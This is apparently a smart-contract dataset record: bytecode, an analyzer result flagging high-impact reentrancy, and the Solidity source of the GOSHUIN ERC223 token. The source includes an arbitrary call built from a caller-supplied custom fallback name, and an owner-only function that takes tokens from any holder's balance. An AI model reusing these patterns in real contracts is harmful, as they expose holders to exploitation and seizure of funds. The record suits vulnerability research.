92508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061267783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e7e565b905092915050565b600080828461268e91906131e9565b9050838110156126d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ca90612fe4565b60405180910390fd5b8091505092915050565b60006126e7612271565b905060006126fe82846128f390919063ffffffff16565b905061275281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461267f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127af8260075461263590919063ffffffff16565b6007819055506127ca8160085461267f90919063ffffffff16565b6008819055505050565b60008060008061280060646127f2888a6128f390919063ffffffff16565b61229c90919063ffffffff16565b9050600061282a606461281c888b6128f390919063ffffffff16565b61229c90919063ffffffff16565b9050600061285382612845858c61263590919063ffffffff16565b61263590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061288385896128f390919063ffffffff16565b9050600061289a86896128f390919063ffffffff16565b905060006128b187896128f390919063ffffffff16565b905060006128da826128cc858761263590919063ffffffff16565b61263590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156129065760009050612968565b600082846129149190613270565b9050828482612923919061323f565b14612963576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161295a90613024565b60405180910390fd5b809150505b92915050565b60008135905061297d8161391e565b92915050565b6000815190506129928161391e565b92915050565b6000813590506129a781613935565b92915050565b6000813590506129bc8161394c565b92915050565b6000602082840312156129d8576129d761348a565b5b60006129e68482850161296e565b91505092915050565b600060208284031215612a0557612a0461348a565b5b6000612a1384828501612983565b91505092915050565b60008060408385031215612a3357612a3261348a565b5b6000612a418582860161296e565b9250506020612a528582860161296e565b9150509250929050565b600080600060608486031215612a7557612a7461348a565b5b6000612a838682870161296e565b9350506020612a948682870161296e565b9250506040612aa5868287016129ad565b9150509250925092565b60008060408385031215612ac657612ac561348a565b5b6000612ad48582860161296e565b9250506020612ae5858286016129ad565b9150509250929050565b600060208284031215612b0557612b0461348a565b5b6000612b1384828501612998565b91505092915050565b600060208284031215612b3257612b3161348a565b5b6000612b40848285016129ad565b91505092915050565b6000612b558383612b61565b60208301905092915050565b612b6a816132fe565b82525050565b612b79816132fe565b82525050565b6000612b8a826131a4565b612b9481856131c7565b9350612b9f83613194565b8060005b83811015612bd0578151612bb78882612b49565b9750612bc2836131ba565b925050600181019050612ba3565b5085935050505092915050565b612be681613310565b82525050565b612bf581613353565b82525050565b612c0481613365565b82525050565b6000612c15826131af565b612c1f81856131d8565b9350612c2f81856020860161339b565b612c388161348f565b840191505092915050565b6000612c506023836131d8565b9150612c5b826134a0565b604082019050919050565b6000612c736018836131d8565b9150612c7e826134ef565b602082019050919050565b6000612c966047836131d8565b9150612ca182613518565b606082019050919050565b6000612cb9602a836131d8565b9150612cc48261358d565b604082019050919050565b6000612cdc601c836131d8565b9150612ce7826135dc565b602082019050919050565b6000612cff6026836131d8565b9150612d0a82613605565b604082019050919050565b6000612d226022836131d8565b9150612d2d82613654565b604082019050919050565b6000612d45601b836131d8565b9150612d50826136a3565b602082019050919050565b6000612d686048836131d8565b9150612d73826136cc565b606082019050919050565b6000612d8b6021836131d8565b9150612d9682613741565b604082019050919050565b6000612dae6020836131d8565b9150612db982613790565b602082019050919050565b6000612dd16029836131d8565b9150612ddc826137b9565b604082019050919050565b6000612df46025836131d8565b9150612dff82613808565b604082019050919050565b6000612e176023836131d8565b9150612e2282613857565b604082019050919050565b6000612e3a6024836131d8565b9150612e45826138a6565b604082019050919050565b6000612e5d600c836131d8565b9150612e68826138f5565b602082019050919050565b612e7c8161333c565b82525050565b612e8b81613346565b82525050565b6000602082019050612ea66000830184612b70565b92915050565b6000602082019050612ec16000830184612bdd565b92915050565b6000602082019050612edc6000830184612bec565b92915050565b60006020820190508181036000830152612efc8184612c0a565b905092915050565b60006020820190508181036000830152612f1d81612c43565b9050919050565b60006020820190508181036000830152612f3d81612c66565b9050919050565b60006020820190508181036000830152612f5d81612c89565b9050919050565b60006020820190508181036000830152612f7d81612cac565b9050919050565b60006020820190508181036000830152612f9d81612ccf565b9050919050565b60006020820190508181036000830152612fbd81612cf2565b9050919050565b60006020820190508181036000830152612fdd81612d15565b9050919050565b60006020820190508181036000830152612ffd81612d38565b9050919050565b6000602082019050818103600083015261301d81612d5b565b9050919050565b6000602082019050818103600083015261303d81612d7e565b9050919050565b6000602082019050818103600083015261305d81612da1565b9050919050565b6000602082019050818103600083015261307d81612dc4565b9050919050565b6000602082019050818103600083015261309d81612de7565b9050919050565b600060208201905081810360008301526130bd81612e0a565b9050919050565b600060208201905081810360008301526130dd81612e2d565b9050919050565b600060208201905081810360008301526130fd81612e50565b9050919050565b60006020820190506131196000830184612e73565b92915050565b600060a0820190506131346000830188612e73565b6131416020830187612bfb565b81810360408301526131538186612b7f565b90506131626060830185612b70565b61316f6080830184612e73565b9695505050505050565b600060208201905061318e6000830184612e82565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131f48261333c565b91506131ff8361333c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613234576132336133ce565b5b828201905092915050565b600061324a8261333c565b91506132558361333c565b925082613265576132646133fd565b5b828204905092915050565b600061327b8261333c565b91506132868361333c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132bf576132be6133ce565b5b828202905092915050565b60006132d58261333c565b91506132e08361333c565b9250828210156132f3576132f26133ce565b5b828203905092915050565b60006133098261331c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335e82613377565b9050919050565b60006133708261333c565b9050919050565b600061338282613389565b9050919050565b60006133948261331c565b9050919050565b60005b838110156133b957808201518184015260208101905061339e565b838111156133c8576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206e6f742079657420656e61626c6564210000000000000000600082015250565b7f54686520616d6f756e74206e6565647320746f2062652067726561746572207460008201527f68616e203120616e64206c657373207468616e207468652063757272656e742060208201527f6275792066656500000000000000000000000000000000000000000000000000604082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f54686520616d6f756e74206e6565647320746f2062652067726561746572207460008201527f68616e203120616e64206c657373207468616e207468652063757272656e742060208201527f73656c6c20666565000000000000000000000000000000000000000000000000604082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b613927816132fe565b811461393257600080fd5b50565b61393e81613310565b811461394957600080fd5b50565b6139558161333c565b811461396057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b739a4b97840eb564b4744078d3b90a9b83160e86ec87ce190c50e4012dcf6a764736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 3,338 |
0x2f61082fe531d41975b435abc65826d869ef9424
|
pragma solidity ^0.4.24;
/**
* @title GOSHUIN
* @author GOSHUIN
* @dev GOSHUIN is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/*
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title GOSHUIN
* @author GOSHUIN TEAM
* @dev GOSHUIN is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract GOSHUIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "GOSHUIN";
string public symbol = "GOSHUIN";
uint8 public decimals = 8;
uint256 public totalSupply = 1e10 * 2e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
/**
* @dev Constructor is called only once and can not be called again
*/
function GOSHUIN() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
/**
* @dev Function that is called when a user or another contract wants to transfer funds
*/
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
/**
* @dev Standard function transfer similar to ERC20 transfer with no _data
* Added due to backwards compatibility reasons
*/
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* Added due to backwards compatibility with ERC20
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _unitAmount The amount of tokens to mint.
*/
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
/**
* @dev Function to stop minting new tokens.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
/**
* @dev Function to collect tokens from the list of addresses
*/
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
/**
* @dev Function to distribute tokens to the msg.sender automatically
* If distributeAmount is 0, this function doesn't work
*/
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
/**
* @dev fallback function
*/
function() payable public {
autoDistribute();
}
}
|
0x6080604052600436106101455763ffffffff60e060020a60003504166305d2035b811461014f57806306fdde0314610178578063095ea7b31461020257806318160ddd1461022657806323b872dd1461024d578063313ce5671461027757806340c10f19146102a25780634f25eced146102c657806364ddc605146102db57806370a08231146103695780637d64bcb41461038a5780638da5cb5b1461039f57806394594625146103d057806395d89b41146104275780639dc29fac1461043c578063a8f11eb914610145578063a9059cbb14610460578063b414d4b614610484578063be45fd62146104a5578063c341b9f61461050e578063cbbe974b14610567578063d39b1d4814610588578063dd62ed3e146105a0578063dd924594146105c7578063f0dc417114610655578063f2fde38b146106e3578063f6368f8a14610704575b61014d6107ab565b005b34801561015b57600080fd5b5061016461090f565b604080519115158252519081900360200190f35b34801561018457600080fd5b5061018d610918565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101c75781810151838201526020016101af565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020e57600080fd5b50610164600160a060020a03600435166024356109ab565b34801561023257600080fd5b5061023b610a11565b60408051918252519081900360200190f35b34801561025957600080fd5b50610164600160a060020a0360043581169060243516604435610a17565b34801561028357600080fd5b5061028c610c1b565b6040805160ff9092168252519081900360200190f35b3480156102ae57600080fd5b50610164600160a060020a0360043516602435610c24565b3480156102d257600080fd5b5061023b610d24565b3480156102e757600080fd5b506040805160206004803580820135838102808601850190965280855261014d95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a998901989297509082019550935083925085019084908082843750949750610d2a9650505050505050565b34801561037557600080fd5b5061023b600160a060020a0360043516610e8e565b34801561039657600080fd5b50610164610ea9565b3480156103ab57600080fd5b506103b4610f0f565b60408051600160a060020a039092168252519081900360200190f35b3480156103dc57600080fd5b5060408051602060048035808201358381028086018501909652808552610164953695939460249493850192918291850190849080828437509497505093359450610f1e9350505050565b34801561043357600080fd5b5061018d61118f565b34801561044857600080fd5b5061014d600160a060020a03600435166024356111f0565b34801561046c57600080fd5b50610164600160a060020a03600435166024356112d5565b34801561049057600080fd5b50610164600160a060020a0360043516611398565b3480156104b157600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610164948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506113ad9650505050505050565b34801561051a57600080fd5b506040805160206004803580820135838102808601850190965280855261014d95369593946024949385019291829185019084908082843750949750505050913515159250611466915050565b34801561057357600080fd5b5061023b600160a060020a0360043516611570565b34801561059457600080fd5b5061014d600435611582565b3480156105ac57600080fd5b5061023b600160a060020a036004358116906024351661159e565b3480156105d357600080fd5b506040805160206004803580820135838102808601850190965280855261016495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506115c99650505050505050565b34801561066157600080fd5b506040805160206004803580820135838102808601850190965280855261016495369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061187c9650505050505050565b3480156106ef57600080fd5b5061014d600160a060020a0360043516611b5c565b34801561071057600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610164948235600160a060020a031694602480359536959460649492019190819084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a999881019791965091820194509250829150840183828082843750949750611bf19650505050505050565b60006006541180156107d95750600654600154600160a060020a031660009081526008602052604090205410155b80156107f55750336000908152600a602052604090205460ff16155b801561080f5750336000908152600b602052604090205442115b151561081a57600080fd5b600034111561085e57600154604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561085c573d6000803e3d6000fd5b505b600654600154600160a060020a031660009081526008602052604090205461088b9163ffffffff611f0f16565b600154600160a060020a031660009081526008602052604080822092909255600654338252919020546108c39163ffffffff611f2116565b3360008181526008602090815260409182902093909355600154600654825190815291519293600160a060020a03909116926000805160206123038339815191529281900390910190a3565b60075460ff1681565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156109a15780601f10610976576101008083540402835291602001916109a1565b820191906000526020600020905b81548152906001019060200180831161098457829003601f168201915b5050505050905090565b336000818152600960209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60055490565b6000600160a060020a03831615801590610a315750600082115b8015610a555750600160a060020a0384166000908152600860205260409020548211155b8015610a845750600160a060020a03841660009081526009602090815260408083203384529091529020548211155b8015610aa95750600160a060020a0384166000908152600a602052604090205460ff16155b8015610ace5750600160a060020a0383166000908152600a602052604090205460ff16155b8015610af15750600160a060020a0384166000908152600b602052604090205442115b8015610b145750600160a060020a0383166000908152600b602052604090205442115b1515610b1f57600080fd5b600160a060020a038416600090815260086020526040902054610b48908363ffffffff611f0f16565b600160a060020a038086166000908152600860205260408082209390935590851681522054610b7d908363ffffffff611f2116565b600160a060020a038085166000908152600860209081526040808320949094559187168152600982528281203382529091522054610bc1908363ffffffff611f0f16565b600160a060020a0380861660008181526009602090815260408083203384528252918290209490945580518681529051928716939192600080516020612303833981519152929181900390910190a35060015b9392505050565b60045460ff1690565b600154600090600160a060020a03163314610c3e57600080fd5b60075460ff1615610c4e57600080fd5b60008211610c5b57600080fd5b600554610c6e908363ffffffff611f2116565b600555600160a060020a038316600090815260086020526040902054610c9a908363ffffffff611f2116565b600160a060020a038416600081815260086020908152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000916000805160206123038339815191529181900360200190a350600192915050565b60065481565b600154600090600160a060020a03163314610d4457600080fd5b60008351118015610d56575081518351145b1515610d6157600080fd5b5060005b8251811015610e89578181815181101515610d7c57fe5b90602001906020020151600b60008584815181101515610d9857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205410610dc557600080fd5b8181815181101515610dd357fe5b90602001906020020151600b60008584815181101515610def57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558251839082908110610e2057fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c15778383815181101515610e6257fe5b906020019060200201516040518082815260200191505060405180910390a2600101610d65565b505050565b600160a060020a031660009081526008602052604090205490565b600154600090600160a060020a03163314610ec357600080fd5b60075460ff1615610ed357600080fd5b6007805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600154600160a060020a031681565b60008060008084118015610f33575060008551115b8015610f4f5750336000908152600a602052604090205460ff16155b8015610f695750336000908152600b602052604090205442115b1515610f7457600080fd5b610f88846305f5e10063ffffffff611f3016565b9350610f9e855185611f3090919063ffffffff16565b33600090815260086020526040902054909250821115610fbd57600080fd5b5060005b8451811015611154578481815181101515610fd857fe5b90602001906020020151600160a060020a03166000141580156110305750600a6000868381518110151561100857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156110775750600b6000868381518110151561104957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561108257600080fd5b6110c78460086000888581518110151561109857fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f2116565b6008600087848151811015156110d957fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061110a57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612303833981519152866040518082815260200191505060405180910390a3600101610fc1565b33600090815260086020526040902054611174908363ffffffff611f0f16565b33600090815260086020526040902055506001949350505050565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156109a15780601f10610976576101008083540402835291602001916109a1565b600154600160a060020a0316331461120757600080fd5b60008111801561122f5750600160a060020a0382166000908152600860205260409020548111155b151561123a57600080fd5b600160a060020a038216600090815260086020526040902054611263908263ffffffff611f0f16565b600160a060020a03831660009081526008602052604090205560055461128f908263ffffffff611f0f16565b600555604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b600060606000831180156112f95750336000908152600a602052604090205460ff16155b801561131e5750600160a060020a0384166000908152600a602052604090205460ff16155b80156113385750336000908152600b602052604090205442115b801561135b5750600160a060020a0384166000908152600b602052604090205442115b151561136657600080fd5b61136f84611f5b565b156113865761137f84848